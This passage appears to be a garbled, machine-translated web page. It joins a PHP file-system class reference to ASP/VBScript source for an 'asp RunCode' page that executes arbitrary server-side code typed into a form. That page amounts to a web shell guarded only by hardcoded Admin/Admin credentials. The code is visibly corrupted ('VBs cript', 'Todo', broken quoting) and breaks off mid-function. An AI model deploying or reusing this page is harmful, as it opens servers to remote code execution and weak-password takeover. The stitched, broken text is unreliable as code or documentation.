FSO FSO:: Getabsolute ($dir)
To get a relative path relative to the root directory path
FSO:: Getopposite ($dir)
Gets a path relative to the current program page for a path relative to the root directory
FSO:: CreateFolder ($dirname)
Create a new directory
FSO:: FolderExists ($folder)
Determine if a directory exists
FSO:: FileExists ($file)
Determine if a file exists
FSO:: CopyFolder ($source, $dest)
Copy subdirectories and files in one directory to another directory
FSO:: CopyFile ($source, $dest)
Copy a file
FSO:: Scanfolder ($folder, & $array)
Get a list of all the files and directories in a directory, $array will be a two-dimensional array, each element shaped like an array ("name" => File/directory name, "size" => File/directory size, "Time" => last modified)
FSO:: MoveFile ($source, $dest)
Move a directory/file to another place, the original directory/file will be attempted to delete
FSO:: Removefolder ($folder)
Delete a directory
FSO:: RemoveFile ($file)
Delete a file
FSO:: CreateFile ($file)
Create a new file
FSO:: WriteLine ($handle, $string)
Writes a string to an open handle
FSO:: ReadLine ($file)
Read the first line in a file
FSO:: ReadFile ($file)
Read the entire file
FSO:: OpenFile ($file, $method = "A +")
Open a file in one way
<% @ language= "VBs cript"%>
<%option Explicit
Response.buffer=true
Dim spassword,susername
Susername= "Admin"
spassword= "Admin"
Dim sqlmutistr
Dim i
Dim action
Action=request.querystring ("Action")
IF action= "GetCode" Then '---------TOT
Numcodejs
ELSE '--------TOT
Response.Write ("<! DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.0 transitional//en ">"
Response.Write ("<HTML>")
Response.Write ("<HEAD>")
Response.Write ("<title>asp RunCode SCR v1.0/create by Paintblue.net v37</title>")
Response.Write ("<meta name=" "Generator" "content=" "Editplus,v37,paintblue.net" ">")
Response.Write ("<meta name=" "Author" "content=" "V37,paintblue.net" ">")
Response.Write ("<meta name=" "Keywords" "content=" "Paintblue.net,,v37,runcode,asp,s cript,blueidea.com, Lfgbox.com "" > ")
Response.Write ("<meta name=" "Des cription" "content=" "ASP script running ASP code!" > ")
Response.Write ("</HEAD>")
Response.Write ("<body bgcolor= #D4D0C8 >")
Sqlmutistr=trim (Request.Form ("Sqlmutistr"))
If session ("login") = "" and action= "Chkpass" Then
Session ("Login") =checkpass ()
End If
If action= "Exit" then session ("login") = ""
If session ("login") = "1" Then
If action= "RunCode" Then
If sqlmutistr= "" Then
Response.Write "Did not enter the code to run!"
Response.Write "<br><br><a href=" "Javas cript:window.history.back ();" " > Back to run Page </a><br><br> "
Response.Write "<a href=" "Action=exit" "> Exit Login </a>"
Response.End
Else
Dim Exestrarr
Dim re
Dim tempsql,tempsql2
Dim s Criptarr,s Criptsubarr
Tempsql2= ""
Tempsql=split (SQLMUTISTR,VBCRLF)
If InStr (LCase (tempsql (0)), "language") >0 then
Tempsql2=tempsql (1)
If UBound (tempsql) >1 Then
For I=1 to UBound (tempsql)
Tempsql2=tempsql2&tempsql (i)
Next
End If
Tempsql2=trim (tempSQL2)
Else
Tempsql2=sqlmutistr
End If
Tempsql2=replace (tempSQL2, "<%" & "=", "<" & "%response.write")
Todo
Tempsql2=replace (TEMPSQL2,VBCRLF&VBCRLF,VBCRLF)
Loop while InStr (TEMPSQL2,VBCRLF&VBCRLF) >0
Tempsql2=trim (tempSQL2)
Tempsql2= "<" & "%" & ">" &tempSQL2& "<" & "%" & ">"
S Criptarr=split (tempSQL2, "%" & ">")
Dim Ub,kub
Ub=ubound (S Criptarr)
For I=0 to Ub-1
S Criptsubarr=split (S Criptarr (i), "<" & "%")
If I>0 then Response.Write (S Criptsubarr (0))
Executeit (S Criptsubarr (1))
Next
Call Endproc ("<font color= #009900 > Code completed!</font>")
End If
Else
%>
Enter the ASP code to run:
<form method=post action= "? Action=runcode" style= "margin:0px;" >
<textarea name= "sqlmutistr" wrap= ' off ' rows= "style=" Width:100%;height:100%;table-layout:fixed;word-break: Break-all; " ><%=server.htmlencode (SQLMUTISTR)%></textarea>
<br>
<input type= "button" value= "Louout" >
<input type= "Reset" value= "clear" >
<input type= "Submit" value= "Run ASPCode" >
</FORM>
<% End If
Else
Call Loginmain ()
End If
Response.Write ("</BODY></HTML>")
End IF '-------TOT
SUB Loginmain ()
%>
<form method=post action= "? Action=chkpass" > Username:<input type= "text" name= "UserName" ><br>
Password:<input type= "PassWord" name= "Runpassword" ><br>
Checkcode:<input type= "GetCode" name= "GetCode" > "><br>
<br><input type= "Submit" value= "Login" ></FORM>
<%
End SUB
function Checkpass ()
Dim Username,runpassword,getcode
Dim errinfo
Checkpass= ""
Username=trim (Request.Form ("UserName"))
Runpassword=trim (Request.Form ("Runpassword"))
Getcode=request.form ("GetCode")
If Username= "" or runpassword= "" Then
errinfo=errinfo& "<li> username and password input cannot be blank"
End If
If not IsNumeric (GetCode) Then
errinfo=errinfo& "<li> Please enter a digital check code"
